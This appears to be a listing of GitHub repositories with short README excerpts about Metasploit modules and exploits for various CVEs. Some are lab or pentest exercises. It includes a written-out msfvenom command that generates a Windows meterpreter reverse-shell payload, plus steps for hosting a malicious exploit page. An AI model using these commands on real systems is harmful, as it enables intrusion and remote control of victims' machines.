Metasploit-Module-TFM

Custom Metasploit Module for CVE 2023-2728 and CVE 2024-3177 Description This custom module exploits CVE 2023-2728 and CVE 2024-3177 in Kubernetes versions that are vulnerables to each of them e.g. v1.27.2 is vulnerable to both, both related to bypassing the imposition of the mountable secrets...

CVE-2018-8174-msf

CVE-2018-8174-msf This is a metasploit module which creates a malicious word document to exploit CVE-2018-8174 - VBScript memory corruption vulnerability. This module is a very quick port and uses the exploit sample that was found in the wild. The exploit works only for Microsoft Office 32-bit...

RDP_jammer

RDPjammer CVE-2012-0152 exploit using metasploit and BASH SYNTAX : Script.sh...

CVE-2019-15107

CVE-2019-15107 Python implementation of CVE-2019-15107 Webmin 1.890-1.920 Backdoor RCE exploit Based on the Metasploit module for the same exploit EDB ID: 47230 Exploit is mostly automatic. See ./CVE-2019-15107.py --help for full range of switches Warning: The code in this repository may be used...

WIndows-7-automated-exploitation-using-metasploit-framework-

This repository does not have a README...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket End-to-end Domain Controller exploitation using Metasploit and Impacket: discovered DC10, exploited Zerologon CVE-2020-1472, extracted NTLM hashes, gained SYSTEM shell, and established a Meterpreter session. Executive Summary This exercis...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

Exploiting-Stagefright-Vulnerability-CVE-2015-3864 Stagefright refers to a set of software flaws in Android versions 2.2 "Froyo" through 5.1.1 "Lollipop," which affected 95% of all Android phones still. If the vulnerability is exploited, an attacker can use remote code execution and privilege...

CVE-2018-4878

CVE-2018-4878 Samples Sample source: https://github.com/brianwrf/CVE-2017-4878-Samples Analysis report: http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html Exploit source in Python script: https://github.com/vysec/CVE-2018-4878 cve-2018-4878.py is the exploit generation script, the...

Metasploit-Red-Pentest-Lab

Metasploit-Red-Pentest-Lab Lab exercise involving exploitation of the vsftpd 2.3.4 vulnerability CVE-2011-2523 on Metasploitable 2 and post-exploitation steps...

CVE-2018-8174-msf

CVE-2018-8174-msf This is a metasploit module which creates a malicious word document to exploit CVE-2018-8174 - VBScript memory corruption vulnerability. This module is a very quick port and uses the exploit sample that was found in the wild. The exploit works only for Microsoft Office 32-bit...

CVE-2004-1561

Non-metasploit version of CVE-2004-1561 Alternative to C version Developed for TryHackme : Ice...

ie11_vbscript_exploit

IE11 VBScript Exploit Exploit Generator for CVE-2018-8174 & CVE-2019-0768 RCE via VBScript Execution in IE11 Prerequisite Metasploit msfvenom Usage python ie11vbscript.py Listener IP Listener Port Instruction 1. Use this script to generate "exploit.html" 2. Host the html file on your server 3...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit CVE-2021-40444 EXPLOIT TO USE IN METASPLOIT, ALLOWS ATTACKERS TO GET AN REMOTE CODE EXECUTION THROUGH MICROSOFT OFFICE WORD BY INJECTING MALICIOUS CODE IN THE FILE...

OpenSSH-4.7p1-CVE-2008-5161-Exploit

CVE-2008-5161 OpenSSH 4.7p1 Asistente de Auditoría Automatiza la comprobación de versiones y la auditoría de credenciales de objetivos con el OpenSSH 4.7p1 heredado Debian-8ubuntu1, controlando el módulo auxiliary/scanner/ssh/sshlogin de Metasploit desde Python mediante pwntools. Este proyecto es...

metasploit-ldapnightmare

metasploit-ldapnightmare SafeBreaches CVE-2024-49113 POCLdapNightmare Integrated into Metasploit Overview This module implements CVE-2024-49113, a critical vulnerability in the Windows LDAP client that can cause system instability. The module integrates with the Metasploit Framework, providing a...

CVE-2014-6271-IPFire

CVE-2014-6271 Python implementation of CVE-2014-6271: IP Fire =2.15 ShellShock RCE Based on the Metasploit module for the same exploit EDB ID: 34839 Exploit is automatic. See ./CVE-2014-6271.py --help for a full range of switches Warning: The code in this repository may be used for academic/ethic...

MSF-Testing-Scripts

Metasploit Module Testing Scripts This repo contains code required to test some of the Metasploit modules I've helped write. brocadeemulator.py Metasploit Module: auxiliary/scanner/telnet/brocadeenablelogin juniperssg5emulator.py Metasploit Module: auxiliary/scanner/ssh/juniperbackdoor.rb Also se...

metasploitable2-exploitation-metasploit

Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More A hands-on walkthrough of exploitation using the Metasploit Framework — from PostgreSQL database setup and dbnmap scanning, through three root shells via vsftpd, Samba, and UnrealIRCd, to credential exfiltration with Netcat...

PoC

Pedro Ribeiro @pedrib Exploit Dumping Grounds This repository contains information, exploits, scripts, etc, that I have made public and it is located at https://github.com/pedrib/PoC. advisories: all my public advisories, research notes, etc Pwn2Own: advisories related to my Pwn2Own participation...